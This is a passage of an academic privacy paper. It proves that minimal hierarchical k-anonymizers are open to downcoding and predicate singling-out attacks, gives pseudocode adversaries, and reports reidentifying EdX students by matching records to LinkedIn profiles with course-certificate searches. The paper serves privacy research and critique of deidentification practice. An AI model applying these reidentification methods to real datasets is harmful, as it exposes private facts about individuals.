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A common way of k-anonymizing data is to generalize
an attribute domain U according to a data-independent gen-
eralization hierarchy H which specifies how a given at-
tribute may be recoded.5 Many natural ways of general-
izing data fits this mold: using nesting geographies (e.g.,
city→state→country); dropping digits of postal codes (e.g.,
91011→ 9101?→ 910??); grouping ages into ranges of 5,
10, 25, or 50 years; suppressing attributes or whole records
altogether; and the techniques used to create the EdX dataset.

Formally, a generalization hierarchy H defines a structured
collection of permissible subsets y of an attribute domain U
(Figure 5). H is a rooted tree labelled by subsets of U, where
the subsets on any level of H form a partition of U and the
partition on every level is a strict refinement of the partition
above. The label of the root is U itself, and the leaves are
all labelled with singletons {x}. Identifying H with the set
of all its labels, we write y ∈ H if there is some node in H
labelled by y. We extend the hierarchy H to the data universe
UD coordinate-wise, writing y ∈HD if yd ∈H for all d ∈ [D].

Definition 3.2 (Hierarchical k-anonymity). Y respects H if
y ∈ HD for all y ∈ Y. An algorithm M : (X,H) 7→ Y is a
hierarchical k-anonymizer if for all X and all hierarchies H,
MH : X 7→ M(X,H) is a k-anonymizer and its output Y =
M(X,H) respects H.

Observe that one can always implement hierarchical k-
anonymity by simply outputting N copies of UD. But a pri-
vacy technique that completely destroys the data is not useful,
which leads us to consider data quality.

We consider minimal mechanisms [25]. A mechanism is
minimal if no record is generalized more than necessary to
achieve the privacy requirement (in a local way). For example,
suppose a k-anonymous Y contains a location attribute. If
there is a subset of records whose location “USA” can be
changed to “California” without violating k-anonymity, then
the mechanism that produced Y would not be minimal. Anoter
example is given in Figure 2. We call this property minimality
because it is equivalent to requiring minimality with respect
to the partial ordering�. Unlike global optimality, minimality
is computationally tractable.

Definition 3.3 (Hierarchical minimality). M : (X,H) 7→ Y is
minimal if Y is always minimal in the set of all H-respecting,
k-anonymous Y that generalize X, partially ordered by �.
That is, for all strict refinements Z ≺ Y, either: (a) Z is not
k-anonymous, (b) Z does not respect H, or (c) Z does not
generalize X.

5 Hierarchical algorithms differ on whether they use local recoding or
global recoding. Using local recoding, attributes in different records can be
generalized to different levels of the hierarchy. Using global recoding, all
records must use the same level in the hierarchy for any given attribute. We
consider local recoding which produces higher quality datasets in general.

4 Downcoding attacks on syntactic privacy
techniques

We study a new class of attacks on hierarchical k-anonymity
called downcoding attacks and prove that all minimal hi-
erarchical k-anonymizers are vulnerable to downcoding at-
tacks. Our downcoding attacks are powerful yet computation-
ally straightforward. The attacks apply as is to `-diversity,
t-closeness, and the many QI-deidentification techniques in
Section 2.1. They demonstrate that even when every attribute
is treated as a quasi-identifier, any privacy offered by QI-
deidentification depends on unstated distributional assump-
tions about the dataset.

4.1 Overview
In short, downcoding undoes hierarchical generalization. A
downcoding attack takes as input a dataset generalized and
recovers some fraction of the generalized data. We call this
downcoding as it corresponds to recoding records down a
generalization hierarchy. Our downcoding attacks are pow-
ered by a simple observation: minimality leaks information.
Figures 1 and 2 give simple examples of downcoding and of
leakage from minimality, respectively.

We prove that there exist data distributions and hierarchies
such that every minimal hierarchical k-anonymizer is vulner-
able to downcoding attacks. Hence any privacy provided by
QI-deidentification is subject to distributional assumptions.

The downcoding attack adversary A gets as input a QI-
deidentified dataset Y which is the output of an unknown
mechanism M on an unknown dataset X. A also knows any-
thing published with Y, namely N, k, and the hierarchy H.
(Without H data users would be unable to interpret Y.) Finally
we also allow the adversary to depend on the data distribution
U . One interpretation is that the security that a mechanism
affords against downcoding attacks depends on limiting the
attacker’s knowledge, which is not good security practice.
Moreover, in many settings U can be efficiently learned from
an independent sample X′.

Formally, we construct a distribution U over ω(logn) at-
tributes and a generalization hierarchy H such that every min-
imal hierarchical algorithm enables downcoding attacks on
datasets drawn i.i.d. from U . Our first attack uses a natural
data distribution (i.e., clustered heteroskedastic data in Sec-
tion 4.4) and a tree-based hierarchy, and allows an attacker
to completely recover a constant fraction of the deidentified
records with high probability. Our second attack uses a less
natural data distribution and hierarchy, and allows an attacker
to recover 3/8ths of every record with 99% probability.

Even with the assumptions on M and the knowledge of A,
our attacks are far more general that typical attacks against
QI-deidentification. For example, the attacks that motivated
t-closeness as a refinement of `-diversity don’t even apply to
a single well-defined mechanism [17]. They show only that it
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is possible for a mechanism to produce `-diverse outputs that
are vulnerable. In contrast, we show attacks on a large and
well-defined class of mechanisms. Moreover, our attacks work
against all QI-deidentification definitions simultaneously, not
any one alone.

4.2 Definition
Let Y be a k-anonymous version of a dataset X with respect
to generalization hierarchy H. A downcoding attack takes Y
as input and outputs a strict refinement Z of Y that simultane-
ously respects H and generalizes X.

Definition 4.1 (Downcoding attack). Let Y be a hierarchical
k-anonymous generalization of a (secret) dataset X with re-
spect to some hierarchy H. Z is a downcoding of Y if X� Z,
Z≺ Y, and Z ∈ H.

Observation 4.1. If Y is minimal and Z is a downcoding of
Y, then Z violates k-anonymity.

We consider three measures of an attack’s strength: How
many records are refined? How much are records refined?
How often records refined? Recall that if Z≺Y, then zn ⊆ yn
for all n and zn ( yn for at least one n.

∆N : How many records are refined? For ∆N ∈ N, we write
Z ≺∆N Y if there exist at least ∆N distinct n for which
zn ( yn. That is, Z strictly refines at least ∆N records in
Y. An attacker prefers larger ∆N .

∆D: How much are the records refined? For ∆D ∈ N, we
write z (∆D y if there exist at least ∆D distinct d for which
zd ( yd . We write Z ≺∆D Y if zn ( yn =⇒ zn (∆D yn.
That is, either zn = yn or it zn strictly refines yn along at
least ∆D dimensions. An attacker prefers larger ∆D.

k:6 How often are records refined? Consider the probability
experiment X∼UN , Y←M(X,H), and Z←A(Y) where
U is a distribution over data records, M is a k-anonymizer,
and A is a downcoding adversary. k(∆N ,∆D) ∈ [0,1] is
the probability that Z downcodes with parameters at least
∆N and ∆D. For any fixed ∆N and ∆D, an attacker prefers
larger k.

4.3 Minimal k-anonymizers enable downcod-
ing attacks

Downcoding may seem impossible: How can one strictly
refine Y using only the information contained in Y itself?
Our attacks leverage minimality. The mere fact that Y is a
minimal hierarchical generalization of X reveals more infor-
mation about X that we use for strong downcoding attacks.
See Figure 2 for a simple example.

A general-purpose hierarchical k-anonymizer M works for
every generalization hierarchy H. Our theorems state that

6k is pronounced “dah-let” and is the fourth letter of the Hebrew alphabet.

there exist data distributions U and corresponding hierarchies
H such that every minimal hierarchical k-anonymizer M is
vulnerable to downcoding. By Observation 4.1, these attacks
defeat the k-anonymity of M.

Theorem 4.2. For all k ≥ 2, D = ω(logN), there exists
a distribution U over RD, and a generalization hierarchy
H such that all minimal hierarchical k-anonymizers M en-
able downcoding attacks with ∆N = Ω(N), ∆D = 3D/8, and
k(Ω(N),3D/8)> 1−negl(N).

Theorem 4.3. For all constants k ≥ 2, α > 0, D = ω(logN),
and T = dN2/αe, there exists a distribution U over UD =
[0,T ]D, and a generalization hierarchy H such that all min-
imal hierarchical k-anonymizers M enable downcoding at-
tacks with ∆N = N, ∆D = D, and k(N,D)> 1−α. The attack
also works for k = N and D = ω(N logN).

Each of the theorems has some advantages over the other.
The attacker in Theorem 4.3 manages to recover every at-
tribute of every record x ∈ X except with probability α. How-
ever the parameters of the construction depend polynomially
on 1/α. Theorem 4.2 removes this dependency, at the expense
of attacking only a constant fraction of records and attributes—
still a serious failure of k-anonymity. The more significant
advantage of Theorem 4.2 is that the data distribution and
generalization hierarchy are both very natural (Example B.2).
In contrast, the distribution and hierarchy in the proof of The-
orem 4.3 are more contrived.

Full proofs of both Theorems 4.2 and 4.3 are in Ap-
pendix B. Both proofs follow the same structure at a very high
level. We prove a structural result on minimal, hierarchical
k-anonymous mechanisms for a specially constructed hierar-
chy H (Claims B.1 and B.3). This structural result states that
if X satisfies certain conditions then Y must take a restricted
form which allows the downcoding adversary to construct
Z. To prove the theorem, we construct a data distribution U
such that random X ∼UN will satisfy the conditions of the
structural result with probability close to 1.

4.4 Example: Clustered Gaussians
The proof of Theorem 4.2 shows that distributions satisfy-
ing certain properties are vulnerable to downcoding attacks.
Example B.2 describes a family of clustered Gaussian distri-
butions that satisfy those properties. Here we give an instanti-
ation of this family of distributions for k = 10 and describe
the corresponding hierarchy and downcoding adversary.

We sample N = 100 records x i.i.d. as follows. Pick
size = big with probability 1/10, and size = sml otherwise.
Pick a cluster t ∈ {1, . . . ,10} uniformly at random. Sample
each attribute of x i.i.d. from the cluster centered at ct = 130t
depending on size: If size= sml sample from N(ct ,1) distri-
bution. If size= big sample from the N(ct ,100).

The hierarchy H consists of the interval [A1,A11) subdi-
vided into intervals [At ,At+1). As depicted in Figure 3, each
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[At ,At+1) is further subdivided into [Bt ,Dt) and its comple-
ment [At ,Bt)∪ [Dt ,At+1). The key property is that half of the
mass of N(0,100) lies in the corresponding interval [Bt ,Dt).
For the above parameters: At = ct − 65, Bt = ct − 6.6, and
Dt = ct +6.6.

The adversary A is described in Algorithm 1. It takes as
input Y, k, and a description of H. It looks at each group of
generalized records Ŷt of the output. If the number of records
in Ŷt is not k, then the whole group of records is copied to the
output Z unchanged (i.e., no downcoding on these records). If
Ŷt has exactly k records, then by k-anonymity these records
are all identical copies of some yt . Some of yt ’s entries may be
aggregated to [At ,At+1). If it’s many more or many less than
half the entries, then the whole group of records is copied
to the output Z unchanged (i.e., no downcoding on these
records). Otherwise, the k records in Ŷt all get downcoded as
described in the algorithm.

It follows from Example B.2 that for k= 10, the distribution
described above, and Y produced by any minimal hierarchical
k-anonymizer, A will downcode a constant fraction of the
records in Y (with constant probability).

Algorithm 1: Adversary A for the example in Sec-
tion 4.4 (see also Fig. 3).
Data: Y, k
Result: Z
for cluster t = 1, . . . ,T do

Let Ŷt be the records with an entry in [At ,At+1);
if |Ŷt | 6= k then

Copy every y ∈ Ŷt into Z;
continue;

/* Ŷt is k exact copies of some yt */
bigt ←{d : yt

d = [At ,At+1]};
bt ← |bigt |;
if |bt −D/2|> D/8 then

Write k copies of yt to Z;
else

Write k−1 copies of [Bt ,Dt ] to Z;
Write zt to Z, where

zt
d =

{
[Bt ,Dt) d 6∈ bigt

[At ,Bt)∪ [Di,Ai+1) d ∈ bigt

5 Predicate singling-out attacks on syntactic
privacy techniques

Our downcoding attacks yield powerful predicate singling-
out (PSO) attacks against minimal hierarchical k-anonymous
mechanisms. PSO attacks were recently proposed as a
way to demonstrate that a privacy mechanism fails to

legally anonymize under Europe’s General Data Protection
Regulation [2, 7]. Our new attacks undermine the use k-
anonymity and other QI-deidentification techniques for GDPR
compliance, challenging prevailing European guidance on
anonymization [23].

In this section, we recall the prior work on PSO attacks
and define a generalization called compound PSO attacks.
We prove that minimal hierarchical k-anonymizers enable
compound PSO attacks.

5.1 Background on PSO attacks

Predicate singling-out attacks were recently introduced by
Cohen and Nissim in the context of data anonymization under
Europe’s General Data Protection Regulation (GDPR) [7].
They were proposed as a mathematical test to show that a
privacy mechanism fails to legally anonymize data under
GDPR [2, 7]. A mechanism M legally anonymizes under
GDPR if it suffices to transform regulated personal data into
unregulated anonymous data. That is, if M(X) is free from
GDPR regulation regardless of what X is. If a mechanism
enables PSO attacks, then it does not legally anonymize under
GDPR [2].

Informally, M enables PSO attacks if given M(X), an ad-
versary is able to learn an extremely specific description ψ

of a single record in X. Because ψ is so specific, it not only
distinguishes the victim in the dataset X, but likely also in
the greater population. Hence PSO attacks can be a stepping
stone to more blatant attacks.

Formally, we consider a dataset X = (x1, . . . ,xn) sampled
i.i.d. from distribution U over universe UD. The PSO ad-
versary A is a non-uniform probabilistic Turing machine
which takes as input M(X) and produces as output a pred-
icate ψ : UD → {0,1}. ψ isolates a record in a dataset X
if there exists a unique x ∈ X such that ψ(x) = 1. Equiva-
lently, if ψ(X) = ∑x∈X ψ(x)/n = 1/n. The strength of a PSO
attack is related to the weight of the predicate ψ output by
A: ψ(U) , E(ψ(x)) for x ∼U . We simplify the definitions
from [7] to their strongest setting: where ψ(U)< negl(n).

To perform a PSO attack, A outputs a single negligible-
weight predicate ψ that isolates a record x ∈ X with non-
negligible probability.

Definition 5.1 (Predicate singling-out attacks (simplified)
[7]). M enables predicate singling-out (PSO) attacks if there
exists U , A, and β(n) non-negligible such that

Pr
X←Un

ψ←A(M(X))

[ψ(X) = 1/n∧ψ(U)< negl(n)]≥ β(n).

Cohen and Nissim give a simple PSO attack against a
large class of k-anonymizers which they call bounded. A k-
anonymizer is bounded if there is some maximum kmax such
that for all X, the effective anonymity of every row of Y is at
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Figure 3: The marginal distribution of each attribute for the example described in Section 4.4 (depicting 3 of 10 clusters, not to
scale). A key property is that half of the mass of the t th blue dotted distribution lies in the interval [Bt ,Dt).

most kmax. The attacker outputs L = O(N) disjoint negligible-
weight predicates ψ. If M is bounded, each ψ isolates a row
in X with probability about η/e� 0 independently, where
η ∈ [0,1] is a parameter that depends on M and U .

5.2 Compound predicate singling-out attacks
PSO attacks can be unsatisfying. For example, the attack
from [7] outputs L predicates and at best about L/e man-
age to actually isolate a record in the dataset X. Moreover,
which predicates isolate and which don’t is impossible for
the attacker to know without additional information. So even
though there exists many isolated records with high probabil-
ity, the attacker doesn’t know which ones or how many. In
contrast, consider an attacker that outputs L = N predicates,
each of which isolates a distinct record in X. It is obvious the
new attacker is stronger, but in a way that isn’t captured by
the definition of predicate singling-out.

We define a generalization of PSO attacks called compound
PSO attacks. Whereas PSO attacks only require that a record
is isolated with non-negligible probability, compound PSO
attacks require many records to be isolated often.

To perform a compound PSO attack, A outputs multiple
negligible-weight predicates Ψ = {ψ1, . . . ,ψL} each of which
isolates a distinct record x ∈ X with probability at least 1−α.
The strength of the attack is measured by L and α, with L→ n
and α→ 0 reflecting stronger attacks. Vanilla PSO attacks
correspond to the setting L = 1 and α = 1−β.

Definition 5.2 ((α,L)-compound-PSO attacks). M enables
(α,L)-compound predicate singling-out attacks if there exists
U , A such that

Pr
[
∀ψ,ψ′ ∈Ψ :

ψ(X) = 1/n∧ψ(U)< negl(N)
∧(ψ∧ψ′)(U) = 0∧|Ψ| ≥ L

]
≥ 1−α(N)

in the probability experiment X∼UN , Ψ← A(M(X)).

In the language of compound attacks, the prior work gives
an (1−O(e−L),L)-compound-PSO attack against bounded
k-anonymizers for L < cN and some c > 0.

Our compound PSO attacks are much stronger. Theo-
rem 5.1 gives a (negl(N),Ω(N))-compound-PSO attack, and
Theorem 5.2 gives a (poly(1/N),N)-compound-PSO-attack.
In both attacks, the adversary fails only if the dataset X is atyp-
ical in some way. If the dataset is typical, the compound PSO

attack always succeeds regardless of what the mechanism
M does. The tradeoff is that our new attacks only work on
minimal hierarchical k-anonymizers (instead of all bounded
k-anonymizers) and with more structured data distributions
U (instead of any U with moderate min-entropy).

Theorem 5.1. For all k ≥ 2, D = ω(logN), there exist
a distribution U over RD, a generalization hierarchy H,
such that all minimal hierarchical k-anonymizers M enable
(negl(N),Ω(N))-compound-PSO attacks.

Theorem 5.2. For all constants k ≥ 2, α > 0, D = ω(logN),
and T = dN2/αe, there exists a distribution U over UD =
[0,T ]D, a generalization hierarchy H, such that all minimal
hierarchical k-anonymizers M enable (α,N)-compound-PSO
attacks. The attack also works for k = N and D = ω(N logN).

These theorems mirror Theorems 4.2 and 4.3, inheriting
their advantages and disadvantages. Proofs for both attacks
follow the same general structure, using the corresponding
downcoding attacks in non-black-box ways (Appendix B).
The key observation is that some of the downcoded records
in the downcoding attacks immediately give the predicates
needed to predicate single-out.

Algorithm 2 illustrates the compound-PSO adversary for
the example of clustered Gaussians described in Section 4.4.
Compare to the downcoding adversary in Algorithm 1. In-
stead of outputting a complete dataset Z (as in the downcod-
ing attack), we simply output descriptions of certain records
within Z. Namely, matches(z) : x 7→ {0,1} is the predicate
that outputs 1 if and only if x is consistent with z (i.e., x⊆ z).

6 Reidentifying EdX students using LinkedIn

597,692 individuals registered for 17 online courses offered
by Harvard and MIT through the EdX platform [15]. We
show that thousands of these students are potentially vul-
nerable to reidentification. The EdX dataset represents an
egregious failure of k-anonymity in practice and in a case
where the dataset was “properly deidentified” by “statistical
experts” in accordance with regulations, undermining one
of the main arguments used to justify the continued use of
QI-deidentification [12].

EdX collected data about students’ demographics, engage-
ment with course content, and final course grade. EdX sought
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Algorithm 2: Compound-PSO adversary for the ex-
ample in Section 4.4 (compare with Alg. 1).
Data: Y, k
Result: Ψ

for cluster t = 1, . . . ,T do
Let Ŷt be the records with an entry in [At ,At+1);
if |Ŷt | 6= k then

continue;

bigt ←{d : yt
d = [At ,At+1]};

bt ← |bigt |;
if |bt −D/2|> D/8 then

continue;
else

Ψ←Ψ∪{matches(zt)}, where

zt
d =

{
[Bt ,Dt) d 6∈ bigt

[At ,Bt)∪ [Di,Ai+1) d ∈ bigt

to make the data public to enable outside research but con-
sidered it protected by the Family Educational Rights and
Privacy Act (FERPA), a data privacy law restricting the dis-
closure of certain educational records [19]. “To meet these
privacy specifications, the HarvardX and MITx research team
(guided by the general counsel, for the two institutions) opted
for a k-anonymization framework” [3]. A value of k = 5 “was
chosen to allow legal sharing of the data” in accordance with
FERPA. Ultimately, EdX published the 5-anonymized dataset
with 476,532 students’ records.

We show that thousands of these students are potentially
vulnerable to reidentification. As a proof of concept, we rei-
dentified 3 students out of 135 students for whom we searched
for matching users on LinkedIn. Each of the reidentified users
failed to complete at least one course in which they were
enrolled, a private fact disclosed by the reidentification attack.

The limiting factor of this attack was not the privacy pro-
tection offered by k-anonymity itself, but the fact that many
records in the raw dataset were missing demographic vari-
ables altogether. In order to boost the confidence of our attack,
we restricted our attention to unambiguously unique records.
To demonstrate the possibility of attribute disclosure, we fur-
ther restricted our attention to students that had enrolled in,
but failed to complete, a course on EdX.

6.1 The Harvard-MIT EdX Dataset

Xed has 476,532 rows, one per student.7 Each row contains
the student’s basic demographic information, and information

7The dataset as published was such that each row represented a student-
course pair, with a separate row for each course in which a student enrolled.
Records corresponding to the same student shared a common UID. Xed as
described above is the result of aggregating the information by UID. See the
appendix for additional background on the EdX dataset.

about the student’s activities and outcomes in each of 16 of
the 17 EdX courses.

The demographics included self-reported level of educa-
tion, gender, and year of birth, along with a country inferred
from the student’s IP address. Many students chose not to
report level of education, gender, and year of birth at all, so
these columns are missing many entries. For each course, Xed

indicates whether the student enrolled in the course, their final
grade, and whether they earned a certificate of completion.
Xed also includes information about students’ activities in
courses including how many forum posts they made.

Xed was 5-anonymized with respect to 17 overlapping
quasi-identifiers separately: Q1, . . . ,Q16, and Q∗ defined next.
Recall that each quasi-identifier is a subset of attributes, not a
single attribute (Def. 3.1).

• Qi = {gender, year of birth, country, enrolled in course i,
number of forum posts in course i}

• Q∗ = {enrolled in course 1, . . . , enrolled in course 16}.

Anonymization was done hierarchically. First, locations were
globally coarsened to countries or continents. Then other
attributes or whole records were suppressed as needed.

6.2 Uniques in the EdX dataset
Table 1 summarizes the results of all analyses described in
this section. Let Qall = Q∗ ∪Q1 ∪ ·· · ∪Q16. Xed is very far
from 5-anonymous with respect to Qall. We find that 7.1% of
students (33,925 students) in Xed are unique with respect to
Qall and 15.3% have effective anonymity less than 5.

Despite EdX’s goals, Xed was not even 5-anonymous with
respect to Q∗: 245 students were unique and 753 had effective
anonymity less than 5! We suspect this blunder is due to k-
anonymity’s fragility with respect to post-processing. The raw
data was first 5-anonymized with respect to Q∗ and afterwards
with respect to Q1, . . . ,Q16. Some rows in the dataset were
deleted in the latter stage, ruining 5-anonymity for Q∗.

We emphasize that the creators of the EdX dataset never in-
tended or claimed to provide 5-anonymity with respect to Qall.
But they admit that each of the attributes in Qall is potentially
public. In our view, the union of quasi-identifiers should also
be considered a quasi-identifier and any exception should be
justified. No justification is given.

6.2.1 Unambiguous uniques in the EdX dataset

A naive interpretation of the 7.1% unique students is that an
attacker who knows Qall would be able to definitively learn
the grades of 7.1% of the students. But there is a major source
of ambiguity: missing information. Gender, year of birth, and
level of education were voluntarily self-reported by students.
Many students chose not to provide this information: 14.9%
of students records are missing at least one of these attributes.
It is missing in the raw data, not just the published data. Thus,
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EA EAamb

Aux info = 1 < 5 = 1 < 5

Q∗ 245 753 245 753
Qall 33,925 73,136 9,125 22,491
Qposts 120 216 120 216

(1.7%) (3.0%) (1.7%) (3.0%)

Qacq 31,797 69,543 7,108 19,203
Qacq+ 41,666 98,201 7,512 20,402
Qresume 5,542 10,939 732 2,310

(34.2%) (67.4%) (4.5%) (14.2%)

Table 1: Number of students by effective anonymity (EA)
or ambiguous effective anonymity (EAamb) with respect to
various choices of attacker auxiliary information (Q∗, Qall,
etc.), as described in this section. Numbers in parentheses
are the value as a percentage of the relevant subset of the
full dataset: for Qposts, the 7,251 students with at least one
forum post; for Qresume, the 16,224 students with at least one
certificate. EA= EAamb for Q∗, Qposts.

a female Italian born in 1986 might appear in the dataset with
any or all three attributes missing.

This makes the 7.1% result difficult to interpret. From an
inferential standpoint, the relevant question is not how many
students have unique quasi-identifiers, but how many are un-
ambiguously unique. We compute the ambiguous effective
anonymity EAamb (defined in App. A.1) of each record by
treating any missing attribute values as the set of all possible
values for that attribute. This number may be much lower than
7.1%. We stress that this ambiguity comes from missing data,
not from k-anonymity.

We find that 1.9% of students (9,125 students) are unam-
biguously unique with respect to Qall and 4.7% have ambigu-
ous effective anonymity less than 5. Over 9,000 students are
unambiguously identifiable in the dataset to anybody who
knows all the quasi-identifiers, without knowing whether the
students chose to self-report their gender, year of birth, or
level of education. This allows an attacker to draw meaning-
ful inferences about them.

6.2.2 Limiting the attacker’s knowledge

Students in the EdX dataset are vulnerable to reidentification
by adversaries who have much less auxiliary information than
Qall. We consider the (ambiguous) effective anonymity for
three attackers who could plausibly reidentify students in the
EdX dataset: a prospective employer, a casual acquaintance,
and an EdX classmate. The results are summarized in Table 1.

In Section 6.3, we carry out the prospective employer attack
using LinkedIn. This demonstrates that some students in the
EdX dataset can be reidentified by anybody.

Prospective employer Consider a prospective employer
who is interested in discovering whether a job applicant failed
an EdX course. An applicant is likely to list EdX certificates
on their resume. The employer very likely knows Qresume =
{gender, year of birth, location, level of education, certificates
earned in courses 1–16}. Qresume only includes those certifi-
cates actually earned, but omits courses in which a student
enrolled but did not earn a certificate.

5,546 students in Xed have effective anonymity 1 with
respect to Qresume, and 10,942 have effective anonymity less
than 5. These numbers may seem small, but they constitute
34.2% and 67.4% of the 16,224 students in the dataset that
earned any certificates whatsoever. Moreover, 732 students
are unambiguously unique—333 of whom failed at least one
course, and 38 of whom failed three or more courses. Thus,
2.1% of students (333 students) who earned certificates of
completion failed at least one course and have unambiguous
effective anonymity 1 with respect to Qresume.

Casual acquaintance Casual acquaintances might, in the
course of normal conversation, discuss their experiences on
EdX. They would likely discuss which courses they took,
and would naturally know each other’s ages, genders, and
locations. So acquaintances know Qacq ={gender, year of
birth, location, enrollment in courses 1–16} ⊆ Qall. 6.7% of
students in Xed have effective anonymity 1 with respect to
Qacq, and 14.6% have effective anonymity less than 5.

Moreover, acquaintances typically know each other’s level
of education too, even though this is not included in Qall.
If we augment the acquaintance’s knowledge with level of
education Qacq+ = Qacq∪{education}, then things become
even worse. 8.7% students in Xed have effective anonymity 1
with respect to Qacq+, and 20.6% have effective anonymity
less than 5.

EdX classmate Each EdX course had an online forum for
student discussions. Because these posts were public to all
students enrolled in a given course, the number of forum posts
made by any user was deemed publicly available information.
But ignoring composition, EdX did not consider the combina-
tion of forum post counts made by a user across courses.

Consider an attacker who knows Qposts ={number of fo-
rum posts in courses 1–16} ⊆ Qall. 120 students in Xed are
unambiguously unique with respect to Qposts, and 216 have
ambiguous effective anonymity less than 5. These numbers
may seem minute, but they constitute 1.7% and 3.0% of the
7251 students in the dataset that made any forum posts whatso-
ever. Effective anonymity and ambiguous effective anonymity
are always the same for this attacker because Qposts excludes
the demographic columns that are missing many entries.

Who knows Qposts? 20 students in the dataset itself en-
rolled in all 16 courses and could have compiled forum post
counts across all courses for all other EdX students. To any
one of these 20 students the 120 students with distinguishing

1478    31st USENIX Security Symposium USENIX Association



forum posts are uniquely identifiable. Such an attacker can
then learn these 120 students ages, genders, level of educa-
tions, locations, and their grades in the class.

In fact, each of the 120 vulnerable students can be unam-
biguously uniquely distinguished by 23–70 classmates; 60
students by 40–49 classmates each. This enables more class-
mates to act as attackers than just the 20 who took all courses.
This is because distinguishing a student using forum posts
doesn’t require being enrolled in all 16 courses. For each of
the 120 vulnerable students, we find which subsets of their fo-
rum posts suffices to distinguish them. This analysis amounts
to checking whether these students remain unambiguously
unique if some subset of their forum post counts are redacted.

6.3 Reidentifying EdX students on LinkedIn
On LinkedIn.com, people show off the courses they com-
pleted. They may be unwittingly revealing which courses
they gave up on. 2.1% of students who earned certificates of
completion (333 students) failed at least one course and have
unambiguous effective anonymity 1 with respect to Qresume.

We reidentified three of these 333 students, with a rough
confidence estimate of 90–95%.

6.3.1 Method

People routinely post Qresume on LinkedIn where it is easily
searchable and accessible for a small fee. We paid $119.95 for
a 1 month Recruiter Lite subscription to LinkedIn. Recruiter
Lite provides access to limited search tools along with the
ability to view profiles in one’s “extended network”: 3rd de-
gree connections to the account holder on the LinkedIn social
network. It is also possible to view public profiles outside
one’s extended network with a direct link, for example from a
Google search. A real attacker could build a larger extended
network or pay for a more powerful Recruiter account.

We performed the attack as follows. We restricted our atten-
tion to 135 students in Xed who were unambiguously unique
using only certificates earned plus at most one of gender, year
of birth, and location, and who also had no missing demo-
graphic attributes. We manually searched for LinkedIn users
that listed matching course certificates on their profile by
searching for course numbers (e.g., "HarvardX/CS50x/2012").
We attempted to access the profiles for the resulting users,
whether they were in our extended network or by searching
on Google. If successful, we checked whether the LinkedIn
user lists exactly the same certificates as the EdX student,
and whether the demographic information on LinkedIn was
consistent with the EdX student. If everything matched, we
consider this a reidentification.

6.3.2 Results

We reidentified 3 of the attempted 135 EdX students, each of
whom registered for but failed to complete an EdX course.

Two were unambiguously unique using only certificates of
completion. In each case, the EdX student’s gender matched
the LinkedIn user’s presenting gender based on profile picture
and name. In each case, the LinkedIn user’s highest completed
degree in 2013 matched the EdX student’s listed level of
education.

1. Student 1’s EdX record lists location `1 and year of birth as
y1. The matching LinkedIn user began a bachelors degree
in year y1 +20 and was employed in country `1 in 2013.

2. Student 2’s EdX record lists location `2 and year of birth as
y2. The matching LinkedIn user began a bachelors degree
in year y1 +18 and was in country `2 for at part of 2013.

3. Student 3’s EdX record lists location `3 and year of birth
as y3. The matching LinkedIn user graduated high school
in year y3 +19, attended high school and currently works
in country `3. In 2013 the LinkedIn user was employed by
an international firm with offices in `3 and other countries.

6.3.3 Confidence

We cannot know for sure whether our purported reidentifica-
tions on LinkedIn are correct because were instructed by our
IRB not to contact the reidentified EdX students.

In this section, we estimate that our reidentifications are
correct with 90–95% confidence. Moreover, an error is most
likely a result of our imperfect ability to corroborate location
and year of birth on LinkedIn, not a result of the protection
afforded by k-anonymity. Our analysis is necessarily very
rough. A precise error analysis is impossible. We omit details
to avoid imparting any other impression.

We consider two main sources of uncertainty. First is the
limited information available on LinkedIn profiles, especially
age and location. We inferred a range of possible ages by ex-
trapolating from educational milestones. We inferred a set of
possible locations based on listed activities around 2013. Both
methods are imperfect. The locations in EdX were inferred
from IP address and are likely imperfect. LinkedIn users or
EdX students can report their attributes inconsistently. Note
that they cannot lie about earning EdX certificates: this data
comes from EdX itself and the LinkedIn certificates are dig-
itally signed and cryptographically verifiable.8 We estimate
the probability of error on at least one attribute inferred from
LinkedIn is on the order of 5–10%.

The second source of error is suppressed student records.
Of the 597,692 students enrolled in EdX courses over the
relevant period, only 476,532 appear in the published dataset.
121,160 students (20.3%) are completely suppressed. We
matched students xedx in EdX with users on LinkedIn xli using
Qresume = {gender, year of birth, location, level of education,
certificates earned in courses 1–16} as well as we could. An

8An example certificate is available here: https://verify.edx.
org/cert/26121b8dec124bc094d324f51b70e506. Instructions for
verifying the signature are here: https://verify.edx.org/cert/
26121b8dec124bc094d324f51b70e506/verify.html
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error will occur if a suppressed student x′edx is the true match
for the LinkedIn user. For this to happen, x′edx and xedx must
agree on Qall. If xedx is unique in the complete dataset, no
error occurs.

We do a back of the envelope calculation of the chance
of error from record suppression under two simplifying as-
sumptions. First, that random student records are suppressed.9

Second, that the number of certificates of completion that a
user earns is statistically independent of their other attributes
(assuming they registered for enough courses). We compute
99.5%-confidence upper bounds for two parameters: the prob-
ability p that a random EdX student matches our reidentified
EdX student; the probability q that a random EdX student
earns the same number of certificates as our reidentified EdX
student. 121,160·pq is a very coarse estimate of the proba-
bility that a supressed student record causes an error. For the
three students we reidentified, this comes out to 0.1–1%.

A much less likely source of error is suppression of individ-
ual courses from a student’s record. Such an error will occur
if some courses for the purported match xedx were suppressed,
and there is some other EdX student x′edx that is the true match
for the LinkedIn user xli. This requires course suppression in
xedx and also x′edx (because xedx was unambiguously unique
on Qresume in the published EdX data). All in all, we consider
course suppression to be a much less likely source of error
than student suppression or imperfect attribute inference on
LinkedIn.

6.4 EdX was “properly” deidentified
El Emam, et al., criticize prior reidentification studies as using
data that were “improperly deidentified” because they did not
“follow[] existing standards” [12]. They thus conclude that
there is no convincing evidence of real-world failure of QI-
deidentification techniques in a regulated context.

In contrast, the EdX dataset incontrovertibly followed ex-
isting standards. FERPA is the relevant regulation. It requires
the published information to not enable identification of any
student with reasonable certainty. The EdX dataset was specif-
ically created to comply with FERPA, following Department
of Education guidance and overseen by general council for
Harvard and MIT [3].

Moreover, the EdX dataset arguably followed the HIPAA
Expert Determination–the standard used by El Emam, et al.
The Expert Determination standard requires three things:10

(1) Deidentification be performed by “a person with appropri-
ate knowledge . . . and experience”. (2) The person determines

9There are more sophisticated techniques for estimating the probability
of error under this assumption [24]. But in EdX omitted records are “outliers
and highly active users because these users are more likely to be
unique and therefore easy to re-identify” [19]. As such, using the more
sophisticated techniques would not give more meaning to our very coarse
estimates.

10https://www.hhs.gov/hipaa/for-professionals/privacy/
special-topics/de-identification/index.html

that the risk of reidentification is “very small”. (3) The person
“documents the methods and results of the analysis that justify
such determination.” The creation of the EdX data was over-
seen by Harvard professors in computer science and statistics
with specific expertise in privacy and inference. They find
